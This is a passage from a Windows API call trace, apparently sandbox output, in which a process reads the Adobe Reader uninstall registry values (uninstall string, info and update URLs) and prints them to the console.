(_File=0x7fefd702ab0) returned 1 [0150.363] _errno () returned 0x204bb0 [0150.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.363] _errno () returned 0x204bb0 [0150.363] GetFileType (hFile=0x50) returned 0x1 [0150.363] lstrlenW (lpString="0x75ad2") returned 7 [0150.363] GetConsoleOutputCP () returned 0x1b5 [0150.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x75ad2", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0150.363] GetConsoleOutputCP () returned 0x1b5 [0150.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x75ad2", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x75ad2", lpUsedDefaultChar=0x0) returned 7 [0150.363] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0150.364] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.364] __iob_func () returned 0x7fefd702a80 [0150.364] _fileno (_File=0x7fefd702ab0) returned 1 [0150.364] _errno () returned 0x204bb0 [0150.364] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.364] _errno () returned 0x204bb0 [0150.364] GetFileType (hFile=0x50) returned 0x1 [0150.364] lstrlenW (lpString="\n") returned 1 [0150.364] GetConsoleOutputCP () returned 0x1b5 [0150.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.364] GetConsoleOutputCP () returned 0x1b5 [0150.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.364] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.364] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.364] GetProcessHeap () returned 0x3c0000 [0150.364] GetProcessHeap () returned 0x3c0000 [0150.364] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.364] GetProcessHeap () returned 0x3c0000 [0150.364] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.364] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.364] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.364] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.364] GetProcessHeap () returned 0x3c0000 [0150.365] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.365] GetProcessHeap () returned 0x3c0000 [0150.365] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.365] GetProcessHeap () returned 0x3c0000 [0150.365] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.365] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", pcbData=0x29f780*=0x6a) returned 0x0 [0150.365] __iob_func () returned 0x7fefd702a80 [0150.365] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.365] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.365] _fileno (_File=0x7fefd702ab0) returned 1 [0150.365] _errno () returned 0x204bb0 [0150.365] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.365] _errno () returned 0x204bb0 [0150.365] GetFileType (hFile=0x50) returned 0x1 [0150.365] lstrlenW (lpString=" ") returned 4 [0150.365] GetConsoleOutputCP () returned 0x1b5 [0150.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.365] GetConsoleOutputCP () returned 0x1b5 [0150.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.365] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.365] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.365] lstrlenW (lpString="UninstallString") returned 15 [0150.365] __iob_func () returned 0x7fefd702a80 [0150.365] _fileno (_File=0x7fefd702ab0) returned 1 [0150.365] _errno () returned 0x204bb0 [0150.365] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.365] _errno () returned 0x204bb0 [0150.365] GetFileType (hFile=0x50) returned 0x1 [0150.366] lstrlenW (lpString="UninstallString") returned 15 [0150.366] GetConsoleOutputCP () returned 0x1b5 [0150.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.366] GetConsoleOutputCP () returned 0x1b5 [0150.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0150.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.366] __iob_func () returned 0x7fefd702a80 [0150.366] _fileno (_File=0x7fefd702ab0) returned 1 [0150.366] _errno () returned 0x204bb0 [0150.366] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.366] _errno () returned 0x204bb0 [0150.366] GetFileType (hFile=0x50) returned 0x1 [0150.366] lstrlenW (lpString=" ") returned 4 [0150.366] GetConsoleOutputCP () returned 0x1b5 [0150.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.366] GetConsoleOutputCP () returned 0x1b5 [0150.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.367] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.367] __iob_func () returned 0x7fefd702a80 [0150.367] _fileno (_File=0x7fefd702ab0) returned 1 [0150.367] _errno () returned 0x204bb0 [0150.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.367] _errno () returned 0x204bb0 [0150.367] GetFileType (hFile=0x50) returned 0x1 [0150.367] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.367] GetConsoleOutputCP () returned 0x1b5 [0150.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.367] GetConsoleOutputCP () returned 0x1b5 [0150.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.367] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.367] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.367] __iob_func () returned 0x7fefd702a80 [0150.367] _fileno (_File=0x7fefd702ab0) returned 1 [0150.367] _errno () returned 0x204bb0 [0150.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.367] _errno () returned 0x204bb0 [0150.367] GetFileType (hFile=0x50) returned 0x1 [0150.367] lstrlenW (lpString=" ") returned 4 [0150.367] GetConsoleOutputCP () returned 0x1b5 [0150.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.368] GetConsoleOutputCP () returned 0x1b5 [0150.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.368] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.368] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.368] __iob_func () returned 0x7fefd702a80 [0150.368] _fileno (_File=0x7fefd702ab0) returned 1 [0150.368] _errno () returned 0x204bb0 [0150.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.368] _errno () returned 0x204bb0 [0150.368] GetFileType (hFile=0x50) returned 0x1 [0150.368] lstrlenW (lpString="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 52 [0150.368] GetConsoleOutputCP () returned 0x1b5 [0150.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.368] GetConsoleOutputCP () returned 0x1b5 [0150.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpUsedDefaultChar=0x0) returned 52 [0150.368] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.368] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.368] __iob_func () returned 0x7fefd702a80 [0150.368] _fileno (_File=0x7fefd702ab0) returned 1 [0150.368] _errno () returned 0x204bb0 [0150.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.368] _errno () returned 0x204bb0 [0150.368] GetFileType (hFile=0x50) returned 0x1 [0150.369] lstrlenW (lpString="\n") returned 1 [0150.369] GetConsoleOutputCP () returned 0x1b5 [0150.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.369] GetConsoleOutputCP () returned 0x1b5 [0150.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.369] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.369] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.369] GetProcessHeap () returned 0x3c0000 [0150.369] GetProcessHeap () returned 0x3c0000 [0150.369] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.369] GetProcessHeap () returned 0x3c0000 [0150.369] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.369] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.369] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.369] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2c) returned 0x0 [0150.369] GetProcessHeap () returned 0x3c0000 [0150.369] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2e) returned 0x3d78d0 [0150.369] GetProcessHeap () returned 0x3c0000 [0150.369] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.369] GetProcessHeap () returned 0x3c0000 [0150.369] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2e [0150.369] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2c | out: pdwType=0x29f700*=0x1, pvData="http://www.adobe.com", pcbData=0x29f780*=0x2a) returned 0x0 [0150.369] __iob_func () returned 0x7fefd702a80 [0150.369] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.370] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.370] _fileno (_File=0x7fefd702ab0) returned 1 [0150.370] _errno () returned 0x204bb0 [0150.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.370] _errno () returned 0x204bb0 [0150.370] GetFileType (hFile=0x50) returned 0x1 [0150.370] lstrlenW (lpString=" ") returned 4 [0150.370] GetConsoleOutputCP () returned 0x1b5 [0150.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.370] GetConsoleOutputCP () returned 0x1b5 [0150.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.370] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.370] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.370] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.370] __iob_func () returned 0x7fefd702a80 [0150.370] _fileno (_File=0x7fefd702ab0) returned 1 [0150.370] _errno () returned 0x204bb0 [0150.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.370] _errno () returned 0x204bb0 [0150.370] GetFileType (hFile=0x50) returned 0x1 [0150.370] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.370] GetConsoleOutputCP () returned 0x1b5 [0150.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.370] GetConsoleOutputCP () returned 0x1b5 [0150.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0150.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.371] __iob_func () returned 0x7fefd702a80 [0150.371] _fileno (_File=0x7fefd702ab0) returned 1 [0150.371] _errno () returned 0x204bb0 [0150.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.371] _errno () returned 0x204bb0 [0150.371] GetFileType (hFile=0x50) returned 0x1 [0150.371] lstrlenW (lpString=" ") returned 4 [0150.371] GetConsoleOutputCP () returned 0x1b5 [0150.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.371] GetConsoleOutputCP () returned 0x1b5 [0150.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.371] __iob_func () returned 0x7fefd702a80 [0150.371] _fileno (_File=0x7fefd702ab0) returned 1 [0150.371] _errno () returned 0x204bb0 [0150.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.371] _errno () returned 0x204bb0 [0150.371] GetFileType (hFile=0x50) returned 0x1 [0150.371] lstrlenW (lpString="REG_SZ") returned 6 [0150.372] GetConsoleOutputCP () returned 0x1b5 [0150.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.372] GetConsoleOutputCP () returned 0x1b5 [0150.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.372] __iob_func () returned 0x7fefd702a80 [0150.372] _fileno (_File=0x7fefd702ab0) returned 1 [0150.372] _errno () returned 0x204bb0 [0150.372] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.372] _errno () returned 0x204bb0 [0150.372] GetFileType (hFile=0x50) returned 0x1 [0150.372] lstrlenW (lpString=" ") returned 4 [0150.372] GetConsoleOutputCP () returned 0x1b5 [0150.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.372] GetConsoleOutputCP () returned 0x1b5 [0150.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.373] __iob_func () returned 0x7fefd702a80 [0150.373] _fileno (_File=0x7fefd702ab0) returned 1 [0150.373] _errno () returned 0x204bb0 [0150.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.373] _errno () returned 0x204bb0 [0150.373] GetFileType (hFile=0x50) returned 0x1 [0150.373] lstrlenW (lpString="http://www.adobe.com") returned 20 [0150.373] GetConsoleOutputCP () returned 0x1b5 [0150.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0150.373] GetConsoleOutputCP () returned 0x1b5 [0150.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com", lpUsedDefaultChar=0x0) returned 20 [0150.373] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0150.373] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.373] __iob_func () returned 0x7fefd702a80 [0150.373] _fileno (_File=0x7fefd702ab0) returned 1 [0150.373] _errno () returned 0x204bb0 [0150.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.373] _errno () returned 0x204bb0 [0150.373] GetFileType (hFile=0x50) returned 0x1 [0150.373] lstrlenW (lpString="\n") returned 1 [0150.373] GetConsoleOutputCP () returned 0x1b5 [0150.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.374] GetConsoleOutputCP () returned 0x1b5 [0150.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.374] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.374] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.374] GetProcessHeap () returned 0x3c0000 [0150.374] GetProcessHeap () returned 0x3c0000 [0150.374] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.374] GetProcessHeap () returned 0x3c0000 [0150.374] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2e [0150.374] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.374] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.374] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0150.374] GetProcessHeap () returned 0x3c0000 [0150.374] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0150.374] GetProcessHeap () returned 0x3c0000 [0150.374] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.374] GetProcessHeap () returned 0x3c0000 [0150.374] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.374] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x1, pvData="http://www.adobe.com/products/acrobat/readstep.html", pcbData=0x29f780*=0x68) returned 0x0 [0150.374] __iob_func () returned 0x7fefd702a80 [0150.374] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.374] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.374] _fileno (_File=0x7fefd702ab0) returned 1 [0150.374] _errno () returned 0x204bb0 [0150.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.374] _errno () returned 0x204bb0 [0150.374] GetFileType (hFile=0x50) returned 0x1 [0150.374] lstrlenW (lpString=" ") returned 4 [0150.375] GetConsoleOutputCP () returned 0x1b5 [0150.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.375] GetConsoleOutputCP () returned 0x1b5 [0150.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.375] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.375] __iob_func () returned 0x7fefd702a80 [0150.375] _fileno (_File=0x7fefd702ab0) returned 1 [0150.375] _errno () returned 0x204bb0 [0150.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.375] _errno () returned 0x204bb0 [0150.375] GetFileType (hFile=0x50) returned 0x1 [0150.375] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.375] GetConsoleOutputCP () returned 0x1b5 [0150.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.375] GetConsoleOutputCP () returned 0x1b5 [0150.375] WideCharToMultiByte (in: 